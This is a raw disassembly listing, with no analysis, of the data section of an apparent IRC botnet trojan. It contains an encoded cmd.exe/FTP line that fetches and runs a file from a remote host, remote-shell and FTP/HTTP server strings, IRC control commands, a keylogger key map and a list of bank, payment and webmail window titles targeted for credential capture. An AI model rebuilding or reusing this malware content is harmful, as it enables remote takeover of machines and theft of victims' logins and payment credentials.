; sub_41B55B+24r ...
align 10h
dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_41A1B1+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:004387F4o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_2 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434C78: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
align 4
unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_41141F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_4119F9+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
dd 234032Dh, 6B636F73h, 3023473h
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dd 4000500h, 7868746Bh, 2 dup(0)
dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
; DATA XREF: ___:0041262Do
; sub_41AF8F+EBo
dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h
dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
dd 2973h, 252EBB2Eh, 2EAB2E73h, 0
dd offset off_4374C0
dd offset off_4374BC
dd offset off_4374B8
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
